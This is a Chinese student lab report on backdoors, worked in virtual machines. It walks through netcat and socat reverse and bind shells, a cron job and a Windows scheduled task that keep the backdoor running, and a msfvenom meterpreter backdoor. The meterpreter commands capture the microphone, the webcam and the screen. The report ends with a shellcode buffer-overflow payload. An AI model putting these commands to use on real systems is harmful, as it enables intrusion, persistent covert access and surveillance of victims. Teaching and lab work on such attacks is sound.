1.基础问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?

通过钓鱼网站之类的网站,将后门程序捆绑在用户下载的安装包里,并对后门程序进行伪装

(2)例举你知道的后门如何启动起来(win及linux)的方式?

Windows的定时任务,自启动,kali中的crontab,或者伪装成正常文件诱使用户点击

(3)Meterpreter有哪些给你映像深刻的功能?

能够窃取被攻击的计算机的屏幕,甚至能够调用被攻击者的麦克风和摄像头

(4)如何发现自己有系统有没有被安装后门?

定时检查任务管理器,查看是否有异常的任务在运行,查看自启动列表中是否有异常的程序

2.实践过程记录

(一)使用netcat获取主机操作Shell,启动cron

kali获取windows的shell

首先在Kali终端输入

ip addr 查看kali的ip地址

输入

nc -l -p 1321 监听1321端口

在Windows中运行下载的ncat.exe

输入

ncat.exe 172.16.209.248 1321 -e cmd

Windows获取kali的shell

首先在Windows终端输入

ipconfig 查看Windows的ip地址

输入

ncat.exe -l -p 1321 监听1321端口

在Windows中运行下载的ncat.exe

输入

nc 172.16.209.248 1321 -e /bin/sh

image


在虚拟机中启动cron并在主机监听

首先在虚拟机上用crontab -e指令编辑一条定时任务,输入2表示选择vim编辑器

在最后一行添加22 **** nc 172.16.213.118 1321 -e /bin/sh

即在每个小时的第22分钟反向连接Windows主机的1321端口

image

主机输入ncat.exe -l -p 1321 监听即可

(二)使用socat获取主机操作Shell,任务计划启动

先了解socat的用法 man socat

image

在windows虚拟机中打开控制面板->管理工具->任务计划程序,创建任务,填写任务名称后,新建一个触发器:

image

在操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:1321 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口1321,同时把cmd.exe的stderr重定向到stdout上:
image

创建完成之后,按Windows+L快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行

此时,在Kali环境下输入指令socat - tcp:192.168.136.151:1321,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的1321端口,此时可以发现已经成功获得了一个cmd shell:

image

image

中途遇到了connection refused的问题,我始终没有找到问题所在,重复安装socat.exe程序解决了这个问题

使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.136.149 LPORT=1321 -f exe > 20191321_backdoor.exe生成后门程序

通过nc指令将生成的后门程序传送到Windows主机上

在Kali上使用msfconsole指令进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口

image

image

打开Windows上的后门程序,此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell

image

使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

使用record_mic指令可以截获一段音频

使用webcam_snap指令可以使用摄像头进行拍照

使用webcam stream指令可以使用摄像头进行录像

使用screenshot指令可以进行截屏:

image
image

在这过程中,webcam_snap失败了,查看原因发现是摄像头没开(我用的是win7虚拟机)

附上截图

image

image


3.实验总结与体会

此次实验让我对于网络攻防更近一步,以前在网上所看到的黑客操作自己也在动手学会,当虚拟机控制电脑捕获信息的时候成就感油然而生。

这也让我明白了网络攻防的重要性,msf具备了截屏,录音,录像的功能,这个时候防火墙就显得尤为重要,它能够拦截大部分攻击,

其次是要保证自己的ip地址的私密性,这三个实验都需要知道对应的ip才能进行攻击,所以提高电脑的安全性还是要从我们平常做起,

比如说可以经常关闭一些本机不用的端口或只允许指定的端口访问,

其次要使用专杀木马的软件,为了有效地防范木马后门,还要学会对进程进行操作,时时注意系统运行状况,看看是否有一些不明进程正运行并

及时地将不明进程终止掉。

选做实验

参考:https://www.cnblogs.com/cfqlovem-521/p/16069302.html
在两台虚拟机进行远程注入时,存在防火墙的问题,导致虽然可以ping,但无法完成攻击,因此选择
kali1 远程注入 kali1 ,缓冲区溢出攻击,

下面开始远程注入

kali 1

msfconsole 启一个监听,payload用对应的 linux/x86/shell/reverse_nonx_tcp

msfvenom -p linux/x86/shell/reverse_nonx_tcp LHOST=192.168.136.149 LPORT=1321
perl -e 'print "A" x 32;print "\x80\xd1\xff\xff";print "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x97\x5b\x68\xc0\xa8\x88\x95\x66\x68\x05\x29\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\x5b\x99\xb6\x0c\xb0\x03\xcd\x80\xff\xe1"'>hack.bin
地址改变以及payload生成参考实验1和实验2的部分

(cat hack2.bin ;cat) | ./pwn20191321
image

image

image